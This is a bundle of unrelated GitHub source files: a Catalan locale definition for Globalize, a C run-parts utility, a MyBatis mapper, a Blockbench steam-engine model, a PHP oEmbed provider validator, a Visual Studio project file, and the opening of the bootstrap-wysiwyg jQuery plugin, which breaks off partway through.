/* * Globalize Culture ca * * http://github.com/jquery/globalize * * Copyright Software Freedom Conservancy, Inc. * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * This file was generated by the Globalize Culture Generator * Translation: bugs found in this file need to be fixed in the generator */ (function( window, undefined ) { var Globalize; if ( typeof require !== "undefined" && typeof exports !== "undefined" && typeof module !== "undefined" ) { // Assume CommonJS Globalize = require( "globalize" ); } else { // Global variable Globalize = window.Globalize; } Globalize.addCultureInfo( "ca", "default", { name: "ca", englishName: "Catalan", nativeName: "català", language: "ca", numberFormat: { ",": ".", ".": ",", "NaN": "NeuN", negativeInfinity: "-Infinit", positiveInfinity: "Infinit", percent: { ",": ".", ".": "," }, currency: { pattern: ["-n $","n $"], ",": ".", ".": ",", symbol: "€" } }, calendars: { standard: { firstDay: 1, days: { names: ["diumenge","dilluns","dimarts","dimecres","dijous","divendres","dissabte"], namesAbbr: ["dg.","dl.","dt.","dc.","dj.","dv.","ds."], namesShort: ["dg","dl","dt","dc","dj","dv","ds"] }, months: { names: ["gener","febrer","març","abril","maig","juny","juliol","agost","setembre","octubre","novembre","desembre",""], namesAbbr: ["gen","feb","març","abr","maig","juny","jul","ag","set","oct","nov","des",""] }, AM: null, PM: null, eras: [{"name":"d.C.","start":null,"offset":0}], patterns: { d: "dd/MM/yyyy", D: "dddd, d' / 'MMMM' / 'yyyy", t: "HH:mm", T: "HH:mm:ss", f: "dddd, d' / 'MMMM' / 'yyyy HH:mm", F: "dddd, d' / 'MMMM' / 'yyyy HH:mm:ss", M: "dd MMMM", Y: "MMMM' / 'yyyy" } } } }); }( this ));
{ "pile_set_name": "Github" }
#include <dirent.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int run_part (char *script_path, char *name, char *action) { int pid; int wait_status; int pid_status; char *args[] = { script_path, NULL }; pid=fork(); if (pid==-1){ perror ("Could not fork"); return 1; } if (pid==0) { setenv ("ACTION",action,1); setenv ("SUBJECT",name,1); execv (script_path,args); perror ("execv"); exit(1); } pid_status = wait (&wait_status); if (pid_status == pid) { return (wait_status); } perror ("waitpid"); return (1); } int run_parts (char *directory, char *name, char *action) { struct dirent **namelist; int scanlist; int n; int execute_result; scanlist = scandir (directory, &namelist, 0, alphasort); if (scanlist<0) { return (0); } for (n=0; n<scanlist; n++) { int path_length; struct stat sb; path_length=strlen(directory) + strlen(namelist[n]->d_name) + 2; char *s = (char*)malloc(path_length); if (!s) { printf ("could not allocate memory\n"); for (; n<scanlist; n++) { free (namelist[n]); } free (namelist); return (1); } snprintf (s, path_length, "%s/%s", directory, namelist[n]->d_name); execute_result = 0; if (stat (s, &sb) == -1) { perror ("stat"); free (s); for (; n<scanlist; n++) { free (namelist[n]); } free (namelist); return (1); } if (S_ISREG (sb.st_mode) || S_ISLNK (sb.st_mode)) { execute_result = run_part (s, name, action); } free (s); if (execute_result!=0) { fprintf (stderr, "%s: did not exit cleanly.\n", namelist[n]->d_name); for (; n<scanlist; n++) { free (namelist[n]); } break; } free (namelist[n]); } free (namelist); return (execute_result); }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.iwc.shop.modules.shop.dao.ShopProductAttributeItemDao"> <sql id="columns"> a.id AS "id", a.name AS "name", a.print_name AS "printName", a.create_by AS "createBy.id", a.create_date AS "createDate", a.update_by AS "updateBy.id", a.update_date AS "updateDate", a.sort AS "sort", a.remarks AS "remarks", a.del_flag AS "delFlag" </sql> <insert id="insert"> INSERT INTO shop_product_attribute_item ( id, name, print_name, create_by, create_date, update_by, update_date, sort, remarks, del_flag) VALUES ( #{id}, #{name}, #{printName}, #{createBy.id}, #{createDate}, #{updateBy.id}, #{updateDate}, #{sort}, #{remarks}, #{delFlag}) </insert> <update id="update"> UPDATE shop_product_attribute_item SET name = #{name}, print_name = #{printName}, update_by = #{updateBy.id}, update_date = #{updateDate}, sort = #{sort}, remarks = #{remarks}, del_flag = #{delFlag} WHERE id = #{id} </update> <select id="get" resultType="ShopProductAttributeItem"> SELECT <include refid="columns"/> FROM shop_product_attribute_item a WHERE a.id = #{id} </select> <update id="delete"> UPDATE shop_product_attribute_item SET del_flag = #{delFlag} WHERE id = #{id} </update> <select id="findList" resultType="ShopProductAttributeItem"> SELECT <include refid="columns"/> FROM shop_product_attribute_item a <where> a.del_flag = #{delFlag} </where> ORDER BY a.sort </select> </mapper>
{ "pile_set_name": "Github" }
{ "credit": "Made with Blockbench", "textures": { "0": "create:block/steam_engine_wheel", "5": "create:block/brass_casing", "7": "create:block/brass_gearbox", "particle": "create:block/steam_engine_wheel" }, "elements": [ { "from": [29, 1, 11.5], "to": [32, 3, 13.5], "rotation": {"angle": 0, "axis": "y", "origin": [8, 8, 17]}, "faces": { "north": {"uv": [6.5, 9, 8, 10], "rotation": 180, "texture": "#0"}, "east": {"uv": [0, 9, 1.5, 10], "rotation": 180, "texture": "#0"}, "south": {"uv": [0, 9, 1.5, 10], "rotation": 180, "texture": "#0"}, "west": {"uv": [0, 9, 1.5, 10], "rotation": 180, "texture": "#0"}, "up": {"uv": [0, 9, 1.5, 10], "rotation": 180, "texture": "#0"}, "down": {"uv": [0, 9, 1.5, 10], "rotation": 180, "texture": "#0"} } }, { "from": [14.75, 7, 11.55], "to": [30.75, 9, 13.45], "rotation": {"angle": -22.5, "axis": "z", "origin": [15, 8, 21]}, "faces": { "north": {"uv": [0, 9, 8, 10], "rotation": 180, "texture": "#0"}, "south": {"uv": [0, 9, 8, 10], "rotation": 180, "texture": "#0"}, "up": {"uv": [0, 9, 8, 10], "rotation": 180, "texture": "#0"}, "down": {"uv": [0, 9, 8, 10], "rotation": 180, "texture": "#0"} } }, { "from": [22, 6, 6], "to": [32, 10, 10], "rotation": {"angle": 0, "axis": "y", "origin": [-5, 8, 8]}, "faces": { "north": {"uv": [2, 7, 7, 9], "texture": "#0"}, "east": {"uv": [0, 7, 2, 9], "texture": "#0"}, "south": {"uv": [2, 7, 7, 9], "texture": "#0"}, "west": {"uv": [0, 7, 2, 9], "texture": "#0"}, "up": {"uv": [2, 7, 7, 9], "texture": "#0"}, "down": {"uv": [2, 7, 7, 9], "texture": "#0"} } }, { "from": [7, 7, 7], "to": [23, 9, 9], "rotation": {"angle": -22.5, "axis": "z", "origin": [23, 8, 8]}, "faces": { "north": {"uv": [0, 9, 8, 10], "rotation": 180, "texture": "#0"}, "south": {"uv": [0, 9, 8, 10], "rotation": 180, "texture": "#0"}, "up": {"uv": [0, 9, 8, 10], "rotation": 180, "texture": "#0"}, "down": {"uv": [0, 9, 8, 10], "rotation": 180, "texture": "#0"} } }, { "from": [0, 0, 4], "to": [16, 16, 15], "faces": { "north": {"uv": [0, 0, 16, 16], "texture": "#7"}, "east": {"uv": [0, 15.5, 8, 10], "rotation": 270, "texture": "#0"}, "south": {"uv": [0, 0, 16, 16], "texture": "#7"}, "west": {"uv": [8, 10.5, 16, 16], "rotation": 90, "texture": "#0"}, "up": {"uv": [8, 10.5, 16, 16], "rotation": 180, "texture": "#0"}, "down": {"uv": [8, 10.5, 16, 16], "texture": "#0"} } }, { "from": [0, 0, 15], "to": [16, 2, 16], "rotation": {"angle": 0, "axis": "y", "origin": [24, 8, 8]}, "faces": { "north": {"uv": [0, 0, 16, 2], "texture": "#5"}, "east": {"uv": [0, 14, 1, 16], "texture": "#5"}, "south": {"uv": [0, 14, 16, 16], "texture": "#5"}, "west": {"uv": [15, 14, 16, 16], "texture": "#5"}, "up": {"uv": [0, 1, 16, 2], "texture": "#5"}, "down": {"uv": [0, 0, 16, 1], "texture": "#5"} } }, { "from": [0, 14, 15], "to": [16, 16, 16], "rotation": {"angle": 0, "axis": "z", "origin": [8, 8, 16]}, "faces": { "north": {"uv": [0, 0, 16, 2], "rotation": 180, "texture": "#5"}, "east": {"uv": [15, 14, 16, 16], "rotation": 180, "texture": "#5"}, "south": {"uv": [0, 14, 16, 16], "rotation": 180, "texture": "#5"}, "west": {"uv": [0, 14, 1, 16], "rotation": 180, "texture": "#5"}, "up": {"uv": [0, 0, 16, 1], "rotation": 180, "texture": "#5"}, "down": {"uv": [0, 1, 16, 2], "rotation": 180, "texture": "#5"} } }, { "from": [0, 2, 15], "to": [2, 14, 16], "rotation": {"angle": 0, "axis": "z", "origin": [8, 8, 16]}, "faces": { "north": {"uv": [0, 0, 12, 2], "rotation": 270, "texture": "#5"}, "east": {"uv": [2, 1, 14, 2], "rotation": 90, "texture": "#5"}, "south": {"uv": [2, 14, 14, 16], "rotation": 90, "texture": "#5"}, "west": {"uv": [2, 0, 14, 1], "rotation": 90, "texture": "#5"}, "up": {"uv": [15, 14, 16, 16], "rotation": 90, "texture": "#5"}, "down": {"uv": [0, 14, 1, 16], "rotation": 90, "texture": "#5"} } }, { "from": [14, 2, 15], "to": [16, 14, 16], "rotation": {"angle": 0, "axis": "z", "origin": [8, 8, 16]}, "faces": { "north": {"uv": [0, 0, 12, 2], "rotation": 90, "texture": "#5"}, "east": {"uv": [2, 0, 14, 1], "rotation": 270, "texture": "#5"}, "south": {"uv": [2, 14, 14, 16], "rotation": 270, "texture": "#5"}, "west": {"uv": [2, 1, 14, 2], "rotation": 270, "texture": "#5"}, "up": {"uv": [0, 14, 1, 16], "rotation": 270, "texture": "#5"}, "down": {"uv": [15, 14, 16, 16], "rotation": 270, "texture": "#5"} } }, { "from": [3, 3, -3.9], "to": [13, 13, 5.1], "rotation": {"angle": 0, "axis": "y", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [11, 5, 16, 10], "texture": "#0"}, "east": {"uv": [11.5, 0, 16, 5], "texture": "#0"}, "south": {"uv": [11, 5, 16, 10], "texture": "#0"}, "west": {"uv": [11.5, 0, 16, 5], "rotation": 180, "texture": "#0"}, "up": {"uv": [11.5, 0, 16, 5], "rotation": 270, "texture": "#0"}, "down": {"uv": [11.5, 0, 16, 5], "rotation": 90, "texture": "#0"} } }, { "from": [-0.5, 23.5, -1.9], "to": [16.5, 28.5, 4.1], "rotation": {"angle": 0, "axis": "y", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [0, 0, 8.5, 2.5], "texture": "#0"}, "east": {"uv": [8.5, 0, 11.5, 2], "texture": "#0"}, "south": {"uv": [0, 0, 8.5, 2.5], "texture": "#0"}, "west": {"uv": [8.5, 0, 11.5, 2.5], "texture": "#0"}, "up": {"uv": [0, 2.5, 8.5, 5.5], "texture": "#0"}, "down": {"uv": [0, 2.5, 8.5, 5.5], "texture": "#0"} } }, { "from": [-0.5, -12.5, -1.9], "to": [16.5, -7.5, 4.1], "rotation": {"angle": 0, "axis": "y", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [0, 0, 8.5, 2.5], "rotation": 180, "texture": "#0"}, "east": {"uv": [8.5, 0, 11.5, 2.5], "rotation": 180, "texture": "#0"}, "south": {"uv": [0, 0, 8.5, 2.5], "rotation": 180, "texture": "#0"}, "west": {"uv": [8.5, 0, 11.5, 2], "rotation": 180, "texture": "#0"}, "up": {"uv": [0, 2.5, 8.5, 5.5], "rotation": 180, "texture": "#0"}, "down": {"uv": [0, 2.5, 8.5, 5.5], "rotation": 180, "texture": "#0"} } }, { "from": [23.5, -0.5, -1.9], "to": [28.5, 16.5, 4.1], "rotation": {"angle": 0, "axis": "y", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [0, 0, 8.5, 2.5], "rotation": 270, "texture": "#0"}, "east": {"uv": [0, 2.5, 8.5, 5.5], "rotation": 90, "texture": "#0"}, "south": {"uv": [0, 0, 8.5, 2.5], "rotation": 90, "texture": "#0"}, "west": {"uv": [0, 2.5, 8.5, 5.5], "rotation": 90, "texture": "#0"}, "up": {"uv": [8.5, 0, 11.5, 2.5], "rotation": 90, "texture": "#0"}, "down": {"uv": [8.5, 0, 11.5, 2], "rotation": 90, "texture": "#0"} } }, { "from": [-12.5, -0.5, -1.9], "to": [-7.5, 16.5, 4.1], "rotation": {"angle": 0, "axis": "y", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [0, 0, 8.5, 2.5], "rotation": 90, "texture": "#0"}, "east": {"uv": [0, 2.5, 8.5, 5.5], "rotation": 270, "texture": "#0"}, "south": {"uv": [0, 0, 8.5, 2.5], "rotation": 270, "texture": "#0"}, "west": {"uv": [0, 2.5, 8.5, 5.5], "rotation": 270, "texture": "#0"}, "up": {"uv": [8.5, 0, 11.5, 2], "rotation": 270, "texture": "#0"}, "down": {"uv": [8.5, 0, 11.5, 2.5], "rotation": 270, "texture": "#0"} } }, { "from": [-0.5, 23.5, -1.85], "to": [16.5, 28.5, 4.05], "rotation": {"angle": -45, "axis": "z", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [0, 0, 8.5, 2.5], "texture": "#0"}, "east": {"uv": [8.5, 0, 11.5, 2.5], "texture": "#0"}, "south": {"uv": [0, 0, 8.5, 2.5], "texture": "#0"}, "west": {"uv": [8.5, 0, 11.5, 2.5], "texture": "#0"}, "up": {"uv": [0, 2.5, 8.5, 5.5], "texture": "#0"}, "down": {"uv": [0, 2.5, 8.5, 5.5], "texture": "#0"} } }, { "from": [-0.5, -12.5, -1.85], "to": [16.5, -7.5, 4.05], "rotation": {"angle": -45, "axis": "z", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [0, 0, 8.5, 2.5], "rotation": 180, "texture": "#0"}, "east": {"uv": [8.5, 0, 11.5, 2.5], "rotation": 180, "texture": "#0"}, "south": {"uv": [0, 0, 8.5, 2.5], "rotation": 180, "texture": "#0"}, "west": {"uv": [8.5, 0, 11.5, 2.5], "rotation": 180, "texture": "#0"}, "up": {"uv": [0, 2.5, 8.5, 5.5], "rotation": 180, "texture": "#0"}, "down": {"uv": [0, 2.5, 8.5, 5.5], "rotation": 180, "texture": "#0"} } }, { "from": [-0.5, -12.5, -1.85], "to": [16.5, -7.5, 4.05], "rotation": {"angle": 45, "axis": "z", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [0, 0, 8.5, 2.5], "rotation": 180, "texture": "#0"}, "east": {"uv": [8.5, 0, 11.5, 2.5], "rotation": 180, "texture": "#0"}, "south": {"uv": [0, 0, 8.5, 2.5], "rotation": 180, "texture": "#0"}, "west": {"uv": [8.5, 0, 11.5, 2.5], "rotation": 180, "texture": "#0"}, "up": {"uv": [0, 2.5, 8.5, 5.5], "rotation": 180, "texture": "#0"}, "down": {"uv": [0, 2.5, 8.5, 5.5], "rotation": 180, "texture": "#0"} } }, { "from": [-12.5, -0.5, -1.85], "to": [-7.5, 16.5, 4.05], "rotation": {"angle": -45, "axis": "z", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [0, 0, 8.5, 2.5], "rotation": 90, "texture": "#0"}, "east": {"uv": [0, 2.5, 8.5, 5.5], "rotation": 270, "texture": "#0"}, "south": {"uv": [0, 0, 8.5, 2.5], "rotation": 270, "texture": "#0"}, "west": {"uv": [0, 2.5, 8.5, 5.5], "rotation": 270, "texture": "#0"}, "up": {"uv": [8.5, 0, 11.5, 2.5], "rotation": 270, "texture": "#0"}, "down": {"uv": [8.5, 0, 11.5, 2.5], "rotation": 270, "texture": "#0"} } }, { "name": "spoke", "from": [6, -8, -0.9], "to": [10, 3, 3.1], "rotation": {"angle": -45, "axis": "z", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [9, 4.5, 11, 10], "rotation": 180, "texture": "#0"}, "east": {"uv": [9, 4.5, 11, 10], "rotation": 180, "texture": "#0"}, "south": {"uv": [9, 4.5, 11, 10], "rotation": 180, "texture": "#0"}, "west": {"uv": [9, 4.5, 11, 10], "rotation": 180, "texture": "#0"} } }, { "name": "spoke", "from": [6, 13, -0.9], "to": [10, 24, 3.1], "rotation": {"angle": -45, "axis": "z", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [9, 4.5, 11, 10], "texture": "#0"}, "east": {"uv": [9, 4.5, 11, 10], "texture": "#0"}, "south": {"uv": [9, 4.5, 11, 10], "texture": "#0"}, "west": {"uv": [9, 4.5, 11, 10], "texture": "#0"} } }, { "name": "spoke", "from": [-8, 6, -0.9], "to": [3, 10, 3.1], "rotation": {"angle": 0, "axis": "z", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [9, 4.5, 11, 10], "rotation": 90, "texture": "#0"}, "south": {"uv": [9, 4.5, 11, 10], "rotation": 270, "texture": "#0"}, "up": {"uv": [9, 4.5, 11, 10], "rotation": 270, "texture": "#0"}, "down": {"uv": [9, 4.5, 11, 10], "rotation": 270, "texture": "#0"} } }, { "name": "spoke", "from": [13, 6, -0.9], "to": [24, 10, 3.1], "rotation": {"angle": 0, "axis": "z", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [9, 4.5, 11, 10], "rotation": 270, "texture": "#0"}, "south": {"uv": [9, 4.5, 11, 10], "rotation": 90, "texture": "#0"}, "up": {"uv": [9, 4.5, 11, 10], "rotation": 90, "texture": "#0"}, "down": {"uv": [9, 4.5, 11, 10], "rotation": 90, "texture": "#0"} } }, { "name": "spoke", "from": [-8, 6, -0.9], "to": [3, 10, 3.1], "rotation": {"angle": -45, "axis": "z", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [9, 4.5, 11, 10], "rotation": 90, "texture": "#0"}, "south": {"uv": [9, 4.5, 11, 10], "rotation": 270, "texture": "#0"}, "up": {"uv": [9, 4.5, 11, 10], "rotation": 270, "texture": "#0"}, "down": {"uv": [9, 4.5, 11, 10], "rotation": 270, "texture": "#0"} } }, { "name": "spoke", "from": [6, -8, -0.9], "to": [10, 3, 3.1], "rotation": {"angle": 0, "axis": "z", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [9, 4.5, 11, 10], "rotation": 180, "texture": "#0"}, "east": {"uv": [9, 4.5, 11, 10], "rotation": 180, "texture": "#0"}, "south": {"uv": [9, 4.5, 11, 10], "rotation": 180, "texture": "#0"}, "west": {"uv": [9, 4.5, 11, 10], "rotation": 180, "texture": "#0"} } }, { "name": "spoke", "from": [13, 6, -0.9], "to": [24, 10, 3.1], "rotation": {"angle": -45, "axis": "z", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [9, 4.5, 11, 10], "rotation": 270, "texture": "#0"}, "south": {"uv": [9, 4.5, 11, 10], "rotation": 90, "texture": "#0"}, "up": {"uv": [9, 4.5, 11, 10], "rotation": 90, "texture": "#0"}, "down": {"uv": [9, 4.5, 11, 10], "rotation": 90, "texture": "#0"} } }, { "name": "spoke", "from": [6, 13, -0.9], "to": [10, 24, 3.1], "rotation": {"angle": 0, "axis": "y", "origin": [8, 8, 1.1]}, "faces": { "north": {"uv": [9, 4.5, 11, 10], "texture": "#0"}, "east": {"uv": [9, 4.5, 11, 10], "texture": "#0"}, "south": {"uv": [9, 4.5, 11, 10], "texture": "#0"}, "west": {"uv": [9, 4.5, 11, 10], "texture": "#0"} } } ], "display": { "thirdperson_righthand": { "rotation": [75, -67, 0], "translation": [0, 2.5, -2], "scale": [0.375, 0.375, 0.375] }, "thirdperson_lefthand": { "rotation": [75, -67, 0], "translation": [0, 2.5, -2], "scale": [0.375, 0.375, 0.375] }, "firstperson_righthand": { "rotation": [0, -91, 0], "scale": [0.4, 0.4, 0.4] }, "firstperson_lefthand": { "rotation": [0, -91, 0], "scale": [0.4, 0.4, 0.4] }, "ground": { "rotation": [90, 0, 0], "translation": [0, 2, 0], "scale": [0.25, 0.25, 0.25] }, "gui": { "rotation": [30, 225, 0], "translation": [-0.25, 0.75, 0], "scale": [0.35, 0.35, 0.35] }, "fixed": { "scale": [0.45, 0.45, 0.45] } }, "groups": [ { "name": "transmission", "origin": [-8, 8, 8], "children": [0, 1, 2, 3, 4, 5, 6, 7, 8] }, { "name": "wheel", "origin": [24, 8, 8], "children": [9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25] } ] }
{ "pile_set_name": "Github" }
<?php $num_files = 0; $num_entries = 0; $expected_keys = array( '#' => 1, '#/provider_name' => 1, '#/provider_url' => 1, '#/endpoints' => 1, '#/endpoints/#' => 1, '#/endpoints/#/schemes' => 1, '#/endpoints/#/schemes/#' => 1, '#/endpoints/#/url' => 1, '#/endpoints/#/example_urls' => 1, '#/endpoints/#/example_urls/#' => 1, '#/endpoints/#/discovery' => 1, '#/endpoints/#/formats' => 1, '#/endpoints/#/formats/#' => 1, '#/endpoints/#/notes' => 1, '#/endpoints/#/notes/#' => 1, '#/endpoints/#/docs_url' => 1, ); $dh = opendir('providers'); while (($file = readdir($dh)) !== false){ if (preg_match('!\.yml$!', $file)){ $partial = yaml_parse_file("providers/$file"); if (!$partial || !is_array($partial)){ echo "Unable to parse provider file providers/$file\n"; exit(1); } $num_files++; $num_entries += count($partial); # # check for any unexpected keys # $keys = check_keys($partial); foreach ($keys as $k){ if (!isset($expected_keys[$k])){ echo "Unexpected key {$k} in provider file providers/$file\n"; exit(1); } } # # check that we define at least one endpoint and that each endpoint has a scheme and a url # foreach ($partial as $def){ if (!isset($def['endpoints']) || !count($def['endpoints'])){ echo "No endpoints defined in provider file providers/$file\n"; exit(1); } foreach ($def['endpoints'] as $endpoint){ # NOTE: this is disabled because it counts e.g. wordpress as broken. # maybe it is? # if (!isset($endpoint['schemes']) || !count($endpoint['schemes'])){ # echo "Endpoint without schemes found in provider file providers/$file\n"; # print_r($endpoint); # exit(1); # } if (!isset($endpoint['url'])){ echo "Endpoint without URL found in provider file providers/$file\n"; print_r($endpoint); exit(1); } } } } } echo "Loaded $num_files provider files, containing $num_entries entries\n"; exit(0); function check_keys($a){ $out = array(); check_keys_inner('', $a, $out); return array_keys($out); } function check_keys_inner($prefix, $a, &$out){ foreach ($a as $k => $v){ $key = is_int($k) ? '#' : $k; $out[$prefix.$key] = 1; if (is_array($v)){ check_keys_inner($prefix.$key.'/', $v, $out); } } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="Windows-1252"?> <VisualStudioProject ProjectType="Visual C++" Version="7.10" Name="imagehl" ProjectGUID="{15DEA3EA-9386-49C7-80C6-5B090DE1D536}" Keyword="Win32Proj"> <Platforms> <Platform Name="Win32"/> </Platforms> <Configurations> <Configuration Name="Debug|Win32" OutputDirectory="Debug" IntermediateDirectory="Debug" ConfigurationType="2" CharacterSet="2"> <Tool Name="VCCLCompilerTool" Optimization="0" AdditionalIncludeDirectories="../../include;../../libs;&quot;../../../STLPort-4.6/stlport&quot;;&quot;../../../gtk2-2.4/include/glib-2.0&quot;;&quot;../../../gtk2-2.4/lib/glib-2.0/include&quot;" PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;IMAGEHL_EXPORTS" StringPooling="TRUE" MinimalRebuild="TRUE" ExceptionHandling="FALSE" BasicRuntimeChecks="0" RuntimeLibrary="3" BufferSecurityCheck="FALSE" ForceConformanceInForLoopScope="TRUE" UsePrecompiledHeader="0" BrowseInformation="0" WarningLevel="3" Detect64BitPortabilityProblems="TRUE" DebugInformationFormat="3" DisableSpecificWarnings="4610;4510;4512;4505;4100;4127"/> <Tool Name="VCCustomBuildTool"/> <Tool Name="VCLinkerTool" OutputFile="$(OutDir)/imagehl.dll" LinkIncremental="1" AdditionalLibraryDirectories="" IgnoreDefaultLibraryNames="msvcprtd.lib" ModuleDefinitionFile="$(ProjectName).def" GenerateDebugInformation="TRUE" ProgramDatabaseFile="$(OutDir)/imagehl.pdb" SubSystem="2" ImportLibrary="$(OutDir)/imagehl.lib" TargetMachine="1"/> <Tool Name="VCMIDLTool"/> <Tool Name="VCPostBuildEventTool" CommandLine="copy &quot;$(TargetPath)&quot; &quot;$(SolutionDir)install\modules\&quot; copy &quot;$(TargetDir)$(TargetName).pdb&quot; &quot;$(SolutionDir)install\modules\&quot;"/> <Tool Name="VCPreBuildEventTool"/> <Tool Name="VCPreLinkEventTool"/> <Tool Name="VCResourceCompilerTool"/> <Tool Name="VCWebServiceProxyGeneratorTool"/> <Tool Name="VCXMLDataGeneratorTool"/> <Tool Name="VCWebDeploymentTool"/> <Tool Name="VCManagedWrapperGeneratorTool"/> <Tool Name="VCAuxiliaryManagedWrapperGeneratorTool"/> </Configuration> <Configuration Name="Release|Win32" OutputDirectory="Release" IntermediateDirectory="Release" ConfigurationType="2" CharacterSet="2" WholeProgramOptimization="TRUE"> <Tool Name="VCCLCompilerTool" GlobalOptimizations="TRUE" InlineFunctionExpansion="2" EnableIntrinsicFunctions="TRUE" FavorSizeOrSpeed="1" OptimizeForWindowsApplication="FALSE" AdditionalIncludeDirectories="../../include;../../libs;&quot;../../../STLPort-4.6/stlport&quot;;&quot;../../../gtk2-2.4/include/glib-2.0&quot;;&quot;../../../gtk2-2.4/lib/glib-2.0/include&quot;" PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;IMAGEHL_EXPORTS" StringPooling="TRUE" ExceptionHandling="FALSE" RuntimeLibrary="2" BufferSecurityCheck="FALSE" ForceConformanceInForLoopScope="TRUE" UsePrecompiledHeader="0" WarningLevel="4" Detect64BitPortabilityProblems="TRUE" DebugInformationFormat="3" DisableSpecificWarnings="4610;4510;4512;4505;4100;4127"/> <Tool Name="VCCustomBuildTool"/> <Tool Name="VCLinkerTool" OutputFile="$(OutDir)/imagehl.dll" LinkIncremental="1" AdditionalLibraryDirectories="" IgnoreDefaultLibraryNames="msvcprt.lib" ModuleDefinitionFile="$(ProjectName).def" GenerateDebugInformation="TRUE" SubSystem="2" OptimizeReferences="2" EnableCOMDATFolding="2" ImportLibrary="$(OutDir)/imagehl.lib" TargetMachine="1" FixedBaseAddress="0"/> <Tool Name="VCMIDLTool"/> <Tool Name="VCPostBuildEventTool" CommandLine="copy &quot;$(TargetPath)&quot; &quot;$(SolutionDir)install\modules\&quot; copy &quot;$(TargetDir)$(TargetName).pdb&quot; &quot;$(SolutionDir)install\modules\&quot;"/> <Tool Name="VCPreBuildEventTool"/> <Tool Name="VCPreLinkEventTool"/> <Tool Name="VCResourceCompilerTool"/> <Tool Name="VCWebServiceProxyGeneratorTool"/> <Tool Name="VCXMLDataGeneratorTool"/> <Tool Name="VCWebDeploymentTool"/> <Tool Name="VCManagedWrapperGeneratorTool"/> <Tool Name="VCAuxiliaryManagedWrapperGeneratorTool"/> </Configuration> </Configurations> <References> </References> <Files> <Filter Name="src" Filter=""> <File RelativePath=".\imagehl.cpp"> </File> <File RelativePath=".\imagehl.h"> </File> <Filter Name="modules" Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx" UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"> <File RelativePath=".\hlw.cpp"> </File> <File RelativePath=".\hlw.h"> </File> <File RelativePath=".\mip.cpp"> </File> <File RelativePath=".\mip.h"> </File> <File RelativePath=".\sprite.cpp"> </File> <File RelativePath=".\sprite.h"> </File> </Filter> </Filter> <File RelativePath="..\..\debug.py"> <FileConfiguration Name="Debug|Win32"> <Tool Name="VCCustomBuildTool" CommandLine="python &quot;$(SolutionDir)debug.py&quot; " AdditionalDependencies="&quot;$(SolutionDir)install\modules\$(TargetName).pdb&quot;" Outputs="&quot;$(TargetDir)$(TargetName).pdb&quot;"/> </FileConfiguration> <FileConfiguration Name="Release|Win32"> <Tool Name="VCCustomBuildTool" CommandLine="python &quot;$(SolutionDir)debug.py&quot; " AdditionalDependencies="&quot;$(SolutionDir)install\modules\$(TargetName).pdb&quot;" Outputs="&quot;$(TargetDir)$(TargetName).pdb&quot;"/> </FileConfiguration> </File> <File RelativePath=".\imagehl.def"> <FileConfiguration Name="Debug|Win32"> <Tool Name="VCCustomBuildTool" CommandLine="python &quot;$(SolutionDir)touch.py&quot; &quot;$(TargetPath)&quot; " AdditionalDependencies="&quot;$(SolutionDir)install\modules\$(TargetFileName)&quot;" Outputs="&quot;$(TargetPath)&quot;"/> </FileConfiguration> <FileConfiguration Name="Release|Win32"> <Tool Name="VCCustomBuildTool" CommandLine="python &quot;$(SolutionDir)touch.py&quot; &quot;$(TargetPath)&quot; " AdditionalDependencies="&quot;$(SolutionDir)install\modules\$(TargetFileName)&quot;" Outputs="&quot;$(TargetPath)&quot;"/> </FileConfiguration> </File> </Files> <Globals> </Globals> </VisualStudioProject>
{ "pile_set_name": "Github" }
/* http://github.com/mindmup/bootstrap-wysiwyg */ /*global jQuery, $, FileReader*/ /*jslint browser:true*/ (function ($) { 'use strict'; var readFileIntoDataUrl = function (fileInfo) { var loader = $.Deferred(), fReader = new FileReader(); fReader.onload = function (e) { loader.resolve(e.target.result); }; fReader.onerror = loader.reject; fReader.onprogress = loader.notify; fReader.readAsDataURL(fileInfo); return loader.promise(); }; $.fn.cleanHtml = function () { var html = $(this).html(); return html && html.replace(/(<br>|\s|<div><br><\/div>|&nbsp;)*$/, ''); }; $.fn.wysiwyg = function (userOptions) { var editor = this, selectedRange, options, toolbarBtnSelector, updateToolbar = function () { if (options.activeToolbarClass) { $(options.toolbarSelector).find(toolbarBtnSelector).each(function () { var command = $(this).data(options.commandRole); if (document.queryCommandState(command)) { $(this).addClass(options.activeToolbarClass); } else { $(this).removeClass(options.activeToolbarClass); } }); } }, execCommand = function (commandWithArgs, valueArg) { var commandArr = commandWithArgs.split(' '), command = commandArr.shift(), args = commandArr.join(' ') + (valueArg || ''); document.execCommand(command, 0, args); updateToolbar(); }, bindHotkeys = function (hotKeys) { $.each(hotKeys, function (hotkey, command) { editor.keydown(hotkey, function (e) { if (editor.attr('contenteditable') && editor.is(':visible')) { e.preventDefault(); e.stopPropagation(); execCommand(command); } }).keyup(hotkey, function (e) { if 